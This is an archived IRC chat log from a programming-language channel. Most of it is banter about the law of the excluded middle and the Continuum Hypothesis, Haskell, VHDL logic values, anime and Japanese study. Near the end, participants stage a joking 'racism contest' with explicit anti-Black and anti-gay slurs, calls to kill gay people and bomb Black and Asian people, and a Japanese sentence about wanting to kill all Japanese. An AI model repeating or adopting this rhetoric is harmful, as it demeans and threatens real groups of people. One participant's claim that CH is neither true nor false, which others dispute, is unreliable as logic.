:fax!unknown@unknown.invalid PRIVMSG #esoteric :wow I want to see it! < 1269736497 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=y4hqv6USkoU < 1269736502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It says that for any given proposition P, I will tell you that either P is true, or P is not true. < 1269736505 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Meta-rickrolled? < 1269736505 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :basically, it was a Thanksgiving Day's parade < 1269736510 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Ah. < 1269736512 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay, then. < 1269736514 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and he was hiding on one of the floats, and just came out and started singing live < 1269736521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :However, there are things that are neither. < 1269736528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So the law of the excluded middle is fail. < 1269736552 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Tell me one such proposition? < 1269736573 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Consider the Continuum Hypothesis. < 1269736576 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: would you say that if X implies Y, and not X implies Y, then Y can be considered to be true? < 1269736578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ZFC + CH is consistent, as is ZFC + ~CH. < 1269736581 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ais weird lol < 1269736585 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :IMO, that's a weaker situation than the law of the excluded middle < 1269736590 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't think it's a rickroll < 1269736594 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :With tristate logic things can be true, false, or tristate. Pre(P) is true if P is not tristate. < 1269736598 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: p \/ q = (p -> r) -> (q -> r) -> r < 1269736604 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: well, it did /say/ it was a rickroll at the end < 1269736617 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269736617 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :perhaps this is some sort of meta-meta-rickroll < 1269736618 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :p \/ ~p = (p -> r) -> (~p -> r) -> r < 1269736623 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Answer: No. < 1269736627 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh it is a rickroll < 1269736631 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the law of the excluded middle implies that < 1269736637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: So, then, how, in plain ZFC, is CH true or false? < 1269736639 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but, I think it can be true even without < 1269736644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: no, p or q is literally the same thing < 1269736648 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as (p->r)->(q->r)->r < 1269736655 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :proof: < 1269736682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\f g porq. case porq of theone x -> f x; theother x -> g x < 1269736682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and < 1269736685 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1269736690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\porq f g. case porq of theone x -> f x; theother x -> g x < 1269736699 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's p\/q -> (p->r)->(q->r)->r < 1269736703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now the other way: < 1269736711 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the other way is the way I care about < 1269736727 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(p->r)->(q->r) -> p \/ q < 1269736747 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\f. f theone theother < 1269736757 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :filling in the arguments we get < 1269736762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :first is (p -> p \/ anything) < 1269736762 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: you must have typoed somewhere < 1269736768 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: you are missing -> r < 1269736768 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :second is (q -> anything \/ q) < 1269736774 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right right < 1269736777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the implementation is right < 1269736778 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so < 1269736782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fill in p and q for the respective anythings < 1269736784 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and we get p \/ q < 1269736787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D. < 1269736809 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :If there is no present king of France, the statement "The present king of France has stopped robbing banks" cannot be true or false, because it presupposes that there is a king of France. < 1269736813 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Clearly, the veracity of CH is a boolean. < 1269736815 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I always get confused trying to follow nonstandard models of logic < 1269736833 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That the value of the boolean cannot be determined is beside the point. < 1269736836 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in one seminar I went to, someone quantified over all systems of logic, which was /really/ confusing < 1269736840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> let or2f porq f g = case porq of Left x -> f x; Right x -> g x < 1269736840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> let f2or f = f Left Right < 1269736840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> :t (or2f, f2or) < 1269736840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(or2f, f2or) < 1269736840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : :: (Either t t1 -> (t -> t2) -> (t1 -> t2) -> t2, < 1269736841 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ((a -> Either a b) -> (b1 -> Either a1 b1) -> t11) -> t11) < 1269736844 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: you had an implied forall r in there < 1269736851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Since I have proved that (P->Q) and (Q->P), P is equivalent to Q. < 1269736854 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: booleans have /nine/ values, 01XLHWZU- < 1269736858 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: ok < 1269736871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, f2or actually needs a more specific type, but. < 1269736880 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ANY LANGUAGE IN WHICH BOOLEANS HAVE FEWER THAN NINE POSSIBLE VALUES IS DEFICIENT < 1269736883 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Then we are clearly discussing the law of the excluded 10th. < 1269736885 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :btw, I'm not sure which one maps to file_not_found < 1269736888 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: haha < 1269736898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : alise: Clearly, the veracity of CH is a boolean. < 1269736899 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Really? < 1269736901 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :((p->(p\/q))->(q->(p\/q))->(p\/q)) -> (p\/q) < 1269736903 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: have you decided whether that was a rickroll or not yet? < 1269736919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: ZFC + CH is consistent iff ZFC is consistent. ZFC + ~CH is consistent iff ZFC is consistent. < 1269736928 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In ZFC, CH can neither be true nor false. < 1269736938 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If we can prove it true, then ZFC + ~CH would be inconsistent. < 1269736943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If we can prove it false, then ZFC + CH would be inconsistent. < 1269736945 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In ZFC, CH cannot be shown to be true or false. < 1269736948 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think I've caused a logical gap in rickrollness < 1269736949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is neither true nor false. < 1269736958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: But it has some platonic "real truth"? < 1269736969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's metaphysical mumbojumbo: you are talking about things in the system that are not from the axioms. < 1269736969 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269736973 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I am not really sure < 1269736981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You are referring to some platonic space of "ZFC truths" but no such thing exists, just manipulation of the axioms. < 1269736986 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Are you sure you want to go down this path> < 1269736990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: hmm, so you're metaundecided? < 1269736991 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Please explain what the nine boolean values 01XLHWZU- are meant for. < 1269737037 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: 0 = false, 1 = true, X = both false and true, L = false unless contradicted, H = true unless contradicted, W = somewhere between true and false, Z = no truth value at all, U = as yet unknown, - = irrelevant < 1269737047 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :OK. < 1269737059 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :VHDL actually implements all these < 1269737061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269737078 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*path? < 1269737105 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: It certainly has no "platonic real truth". It just simply can be said to be one of true or false. < 1269737135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Okay. < 1269737138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So suppose it is true. < 1269737144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then ZFC + ~CH is inconsistent. < 1269737147 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So suppose it is false. < 1269737150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then ZFC + CH is inconsistent. < 1269737158 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But we know that ZFC plus either CH or ~CH is consistent iff ZFC is. < 1269737160 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So it cannot be both true and false. < 1269737164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1269737166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It cannot be either. < 1269737172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because *both systems are consistent*. < 1269737173 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :How so? < 1269737174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(if ZFC is). < 1269737187 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: OK, let us say that in ZFC, we have proved CH. < 1269737194 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I didn't know VHDL implements those. But I suppose it is possible. < 1269737201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We know that ZFC + ~CH is consistent iff ZFC is. Yet we have CH and ~CH. < 1269737214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Reverse it to see that it cannot be false, either. < 1269737226 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can keep running around in circles, but the only real solution is to reject the excluded middle. < 1269737246 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: "We know that ZFC + ~CH is consistent iff ZFC is. Yet we have CH and ~CH." Uh... Wha? < 1269737258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OK, let me spell it out for you. < 1269737272 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Near as I can tell, "proving CH in ZFC" would imply that ZFC + ~CH is inconsistent. < 1269737303 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And assuming the proof that ZFC + ~CH is consistent is valid, then clearly you cannot prove CH in ZFC. < 1269737334 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :and if you did both, then it would show ZFC is not consistent. < 1269737343 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Yes. < 1269737343 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :because that's a contradiction < 1269737355 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: < 1269737356 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :By the law of the excluded middle, we know that in ZFC, either CH is true or ~CH is true. I will demonstrate that it cannot be either. < 1269737358 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let us assume that CH is true. It has been proved at the meta-level that ZFC + ~CH is consistent iff ZFC is. Since we are working in ZFC, we assume its consistency. But then ZFC + ~CH cannot be consistent, for we have CH and ~CH. But ZFC + ~CH has been proved to be consistent. Contradiction; CH cannot be true. < 1269737358 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let us assume that CH is false. It has been proved at the meta-level that ZFC + CH is consistent iff ZFC is. Since we are working in ZFC, we assume its consistency. But then ZFC + CH cannot be consistent, for we have CH and ~CH. But ZFC + CH has been proved to be consistent. Contradiction; CH cannot be false. < 1269737365 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Therefore, CH cannot be true and it cannot be false. < 1269737384 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: You have proven that CH cannot be proven in ZFC. < 1269737384 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Although we cannot use this to disprove excluded middle from inside ZFC, because it is a meta issue, it is still present. < 1269737388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Excluded middle is false. < 1269737393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: No, I made no references to proofs in the above. < 1269737397 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clearly it can be one or the other; you can use it as an axiom. < 1269737401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The law of the excluded middle means that ONE must be true. < 1269737419 0 :Quadrescence!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269737421 0 :Quadresce`!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269737444 0 :Quadresce`!unknown@unknown.invalid NICK :Quadrescence < 1269737485 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :And you use ZFC's consistency as an axiom. Again, if you prove ZFC + ~CH and ZFC + CH iff ZFC is consistent, it means ZFC is not consistent. Hello mathematical logic. < 1269737499 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Is "false unless contradicted" in a digital circuit like a pull-down resistor? < 1269737521 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Fine. I shall start using a form of limited law of excluded middle. "Any proposition which can be reasoned about in an axiomatic system must be either true or false in that axiomatic system." < 1269737525 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269737640 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :If ~CH in ZFC, how do you get CH? < 1269737645 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1269737663 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :n/m, I agree with pikhq < 1269737693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, this has taught me something: Never bother trying to talk about excluded middle. < 1269737703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :People are absolutely sure it is true at any cost. < 1269737752 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :People don't like the implication that you could define the following: ZFC + CH & ~CH. :P < 1269737873 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Without realizing that proving both at the same time shows ZFC's inconsistency. < 1269738146 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Off topic: Have you ever invented any spell/power for D&D game? < 1269738159 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269738188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Of course it does. < 1269738264 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Then it says nothing about CH... < 1269738289 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :And your whole law of the excluded middle being false idea is inane with that example. < 1269738319 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"alise: For one, you can have RAM with so much error checking that it is physically impossible for it not to detect an error for the computation you are doing..." <<< may i see this article < 1269738386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: wut < 1269738403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :imagine filling the entire universe with one 16 bit pattern, say < 1269738424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd be highly surprised if it was physically possible for all those bits to spontaneously flip in the certain maximum time it takes to do a given computation < 1269738507 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :1. you would probably be pretty surprised if you suddenly turned into an elephant, too, that's not what physically impossible means < 1269738510 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :2. oh, you linked it < 1269738576 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well i guess i could start enumerating every single way a bit could be flipped :))) < 1269738888 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's pretty stupid to claim computers can't make errors < 1269738890 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :It is difficult to repair a watch while falling from an airplane. < 1269738909 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :of course they can make errors < 1269738935 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :some unicorns can turn bits with their tongues from miles away < 1269738939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I never claimed that < 1269738958 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but if you thought that was true, you might < 1269738969 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :can't really unclaim that one huh < 1269738973 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i should go to sleep < 1269739057 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I recently added something to esolang wiki < 1269739349 0 :zzo38!unknown@unknown.invalid QUIT :Quit: ERR_QUIT < 1269743582 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :err bye < 1269743678 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1269743687 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wait what < 1269743716 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :02:22… zzo38 has quit IRC (Quit: ERR_QUIT) < 1269743716 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :04:32… oklopol: err bye < 1269743734 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it was all sorts of funny stuff < 1269743757 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but i actually am going to sleep now -> < 1269743796 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol :) < 1269743809 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have an idea about this OR thing < 1269743815 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but it's probably wrong < 1269743819 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'll try it out tommorow < 1269743843 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Tomorrow OR not tomorrow, that's the question < 1269744409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[["Anime is a prime example of why two nukes wasn�t enough." - NH Democrat State Rep., Nick Levasseur]] < 1269744411 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, America. < 1269744457 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION .. doesn't like nor dislike anime
< 1269744477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's rather orthogonal to the hilarious extremity of bad taste found in that quote :P < 1269744478 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It's just another medium, albeit one for which there's a .. website that lets me watch for free < 1269745047 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's just another medium, albeit one which is generally made in a language that I happen to be studying. :P < 1269745102 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :ANATA WA BAKA DESU ZO < 1269745127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dixon: you violated the syntax anime := desu | anime anime < 1269745131 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dixon: That's quite formal of you. < 1269745134 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do not pass go do not collect 200 pounds < 1269745165 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Why would I collect pounds? I'm an American, we're fat enough. < 1269745181 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: thanx. < 1269745184 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Try something more like 馬鹿ぜ、あんた！(baka ze, anta < 1269745186 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :) < 1269745218 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Really? I was going for the "You sir, are an idiot!" meme. < 1269745249 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, *that's* what you were going for? < 1269745307 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :My Japanese is flaky, but yes. < 1269745378 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269745384 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Please translate this to exquisitely formal Japanese: "Your asshole is a skyscraper-sized orifice which receives bread daily, fuckwit." < 1269745406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Someone has to have translated that already, it being such a common insult. < 1269745410 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is that even an insult? I can't tell. < 1269745420 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :SL? < 1269745456 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Whoa, he gets free bread? < 1269745460 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Try more of Pikhqどのはお馬鹿で御座るとお思いになります。(Pikhq dono wa baka de gozaru to o-omoi ni narimasu) < 1269745467 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... I *think*. My keigo sucks. < 1269745487 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dixon: NO COST AT ALL < 1269745508 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, is that a quote from SL? < 1269745515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Schawhat? < 1269745518 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Have you heard it before or something? XD < 1269745535 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :No, but it sounds like the sort of thing a certain character might say < 1269745542 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Sadly, I know not the vocab for that. < 1269745548 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I'm not saying the full name of it in the presence of a minor < 1269745553 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: I shall let you know when I can translate that, though. < 1269745564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Does it have RUDE WORDS in it???? < 1269745572 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It has naked people and sex in it < 1269745577 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OH NOOOOOOOOOOOOOOOO < 1269745602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :My beacon-of-light emitting orifices will all be brutally penetrated by its hostile influence of filth and putridness, such that I may never lay claim to someone of sound mind again. < 1269745608 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, since when do I have Second Life installed? < 1269745616 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, SL != Second Life in this case < 1269745632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that webcomic. < 1269745637 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Yes >.> < 1269745727 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Okay, translate this too when you can: "My beacon-of-light emitting orifices will all be brutally penetrated by its hostile influence of filth and putridness, such that I may never lay claim to someone of sound mind again." :P < 1269745738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Again, FORMAL AND POLITE! < 1269745785 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: "Fuck You". < 1269745797 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"No" < 1269745970 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Fine, I'll give you a shockingly rude statement instead. 私は日本人達を殺したい。なぜ？アジア人が大嫌い！ < 1269746021 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That is probably the most racist thing I have ever typed, in jest or otherwise. < 1269746038 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Translate it! Translate IT! < 1269746075 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"I want to kill all Japanese. Why? I hate Asians!" Now, alise. Say it to every Japanese person you meet. :P < 1269746108 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :（watashi wa nihonjintachi wo korositai. naze? ajiajin ga daikirai!）, BTW < 1269746150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fags should die, naturally: we should have killed them all at the start. But niggers, niggers are the worst. We should relegate all the niggers to their own country so we can bomb the place. Put the asians there too, the fucking worthless pieces of shit. But the only thing worse than a nigger is a nigger fag. < 1269746156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :RACISM CONTEST < 1269746182 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Nigger" is untranslatable. < 1269746193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>:| < 1269746200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why not, do all japs love nigs or sth < 1269746214 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is a term that literally only exists in English. < 1269746245 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The closest you can get in Japanese is "gaijin". Which... Refers to everyone other than Japanese. < 1269746262 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I have a friend who ran in a marathon! < 1269746285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is he a nigger?! < 1269746386 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :"Rincewind had always been happy to think of himself as a racist. The One Hundred Meters, the Mile, the Marathon -- he'd run them all." < 1269746401 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269746404 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I GET IT!! < 1269746405 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :groan < 1269746747 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: 君は日本人ですか？ < 1269746777 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: いいえ。僕は日本語を勉強する人です。 < 1269746830 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: あ、わかた < 1269746892 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :今漢字を勉強してます。1810字を知って、232字を勉強するつもりです。 < 1269746911 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ちょっと難しいです。でも、面白いと思います。 < 1269746932 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: 僕も日本人が大嫌い < 1269746960 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :なるほど。w < 1269746985 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :ぜんぜん < 1269747017 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :jk < 1269747039 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :分かった。^_^ < 1269747117 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :僕は６年かん日本にすんでいました。 < 1269747163 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :わ〜。 < 1269747187 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :でも、たくさんわすれた < 1269747220 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :desu < 1269747225 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :desuuuuu < 1269747231 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269747246 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :4年間高校で日本語を勉強しました。この後、２年間勉強しなくて、いまもっと勉強を始めてます。 < 1269747267 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :s/いま/今/ < 1269747334 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :そですか？すごい！がんばってね < 1269747367 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric 